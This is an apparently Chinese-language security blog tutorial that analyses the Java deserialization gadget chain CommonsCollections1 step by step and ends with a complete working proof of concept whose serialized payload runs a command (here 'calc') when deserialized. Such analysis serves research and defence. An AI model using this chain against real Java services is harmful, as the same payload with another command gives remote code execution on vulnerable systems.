Java反序列化CommonsCollections链一

环境

参考:https://www.bilibili.com/video/BV1no4y1U7E1 JDK版本应该为8u71之前。 jdk1.8.0.65 pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>groupId</groupId>
    <artifactId>javaDemo</artifactId>
    <version>1.0-SNAPSHOT</version>
    <name>CC</name>
    <!-- FIXME change it to the project's website -->
    <url>http://www.example.com</url>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <maven.compiler.source>1.7</maven.compiler.source>
        <maven.compiler.target>1.7</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.11</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

    <build>
        <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
            <plugins>
                <!-- clean lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#clean_Lifecycle -->
                <plugin>
                    <artifactId>maven-clean-plugin</artifactId>
                    <version>3.1.0</version>
                </plugin>
                <!-- default lifecycle, jar packaging: see https://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_jar_packaging -->
                <plugin>
                    <artifactId>maven-resources-plugin</artifactId>
                    <version>3.0.2</version>
                </plugin>
                <plugin>
                    <artifactId>maven-compiler-plugin</artifactId>
                    <version>3.8.0</version>
                </plugin>
                <plugin>
                    <artifactId>maven-surefire-plugin</artifactId>
                    <version>2.22.1</version>
                </plugin>
                <plugin>
                    <artifactId>maven-jar-plugin</artifactId>
                    <version>3.0.2</version>
                </plugin>
                <plugin>
                    <artifactId>maven-install-plugin</artifactId>
                    <version>2.5.2</version>
                </plugin>
                <plugin>
                    <artifactId>maven-deploy-plugin</artifactId>
                    <version>2.8.2</version>
                </plugin>
                <!-- site lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#site_Lifecycle -->
                <plugin>
                    <artifactId>maven-site-plugin</artifactId>
                    <version>3.7.1</version>
                </plugin>
                <plugin>
                    <artifactId>maven-project-info-reports-plugin</artifactId>
                    <version>3.0.0</version>
                </plugin>
            </plugins>
        </pluginManagement>
    </build>
</project>

主要是

<dependencies>

     <dependency>
         <groupId>commons-collections</groupId>
         <artifactId>commons-collections</artifactId>
         <version>3.1</version>
     </dependency>

 </dependencies>

中间会用到的需要看AnnotationInvocationHandler类的源码 https://github.com/halfblue/CCDemos

分析

首先写好一个序列化和反序列化方法

package com.cc1;
public class cc1Test {
    public static void main(String[] args) throws Exception {

    }
    public static void serialize(Object o) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(o);
    }
    public static void unserialize(String fileNanem) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(fileNanem));
        objectInputStream.readObject();
    }
}

先用正常的反射弹个计算器

Class c = Runtime.class;
Runtime r = Runtime.getRuntime();
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

file

这条链用到了CommonsCollections中的几个Transformer

public interface Transformer {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    public Object transform(Object input);

}

Transformer是个接口 有几个类实现了Transformer接口 file 看看里边关键的地方 InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

这个类中的transform方法可以反射调用任意方法 写个测试

Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

file 可以对照着transform方法看 new Class[]{String.class}是要调用方法参数的类型也就是exec方法参数的类型 new Object[]{“calc”}是要调用方法的参数 就是exec方法的参数

然后需要找在哪里调用了transform方法 找到一个TransformedMap中的checkSetValue file 这个类的构造方法是protected 无法直接调用 是通过decorate方法调用的

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

我们后续只操作了valueTransformer

然后再找一下哪里调用了checkSetValue AbstractInputCheckedMapDecorator中的MapEntry中的setValue file 这里其实就是遍历HashMap中Entry.setValue 并且AbstractInputCheckedMapDecorator 是TransformedMap的父类 写个测试调用setValue

Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap map = new HashMap<>();
Map<Object,Object> transformedMap=TransformedMap.decorate(map, null,invokerTransformer);
map.put("key","value");
for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }

TransformedMap.decorate类似与对map的键值对进行装饰

到这里 需要找哪里会进行map遍历 最好直接是readObject中的 用find usages查找 在AnnotationInvocationHandler中找到readObject 并且调用了setValue 这里如果看不到源码 参考上边的github链接 file

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) 
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

然后进行下一步利用 首先第一个问题 Runtime r = Runtime.getRuntime(); 是没有办法序列化的 因为Runtime并没有继承序列化接口 所以要用反射去调用

Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method exec = c.getMethod("exec", String.class);
exec.invoke(r, "calc");

然后利用InvokerTransformer去反射调用Runtime

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

这里是循环调用 将前边的结果作为后边的参数 正好有一个类ChainedTransformer

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
}
return object;
}

这里就是循环调用 可以利用ChainedTransformer来执行刚刚的反射调用Runtime

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

Runtime的序列化处理好了 然后利用刚刚的AnnotationInvocationHandler进行序列化 反序列化

HashMap<Object, Object> map = new HashMap<>();
//transformedMap下有个checkSetValue 会调用valueTransformer.transform(value);
map.put("key","value");
Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o  = annotationInvocationdhdlConstructor.newInstance(Override.class,transformedMap);

serialize(o);
unserialize("ser.bin");

这里的Override.class是个注解,是根据AnnotationInvocationHandler的构造方法写的 后边还有两个问题,调试跟着看看 获取注解就是刚刚的Override.class file name的值是map.put(“key”,”value”)中的key file 拿到key之后去注解里边找是否存在“key”这个成员变量 因为Override是空的所以 Class<?> memberType = memberTypes.get(name);是空的 file 就跳出if判断 没有调用setValue 所以需要换一个注解 找到Target注解 里边存在一个变量value 把map.put(“key”,”value”)改成map.put(“value”,”value”)就可以让 Class<?> memberType = memberTypes.get(name);不为空的 file 还有一个问题setValue的参数并不可控 file

file

file 这里的参数应该是Runtime.class才可以接着循环调用exec 需要用到另一个transform的实现类 ConstantTransformer file 虽然transform传入的参数是input但是返回值确实初始化的时候的值 所以对刚刚的transformers进行改进

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

这样readObject中的setValue的参数不影响这个链 完整demo

package com.cc1;

import com.sun.xml.internal.ws.api.ha.StickyFeature;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1Test {
    public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
         HashMap<Object, Object> map = new HashMap<>();

        map.put("value","value");
        Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,chainedTransformer);
         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationdhdlConstructor.setAccessible(true);
        Object o  = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedMap);

        serialize(o);
        unserialize("ser.bin");

    }
    public static void serialize(Object o) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(o);
    }
    public static void unserialize(String fileNanem) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(fileNanem));
        objectInputStream.readObject();
    }
}

Java反序列化CommonsCollections链一
http://example.com/2021/09/17/OldBlog/java反序列化commonscollections链一/
作者
Autumn
发布于
2021年9月17日
许可协议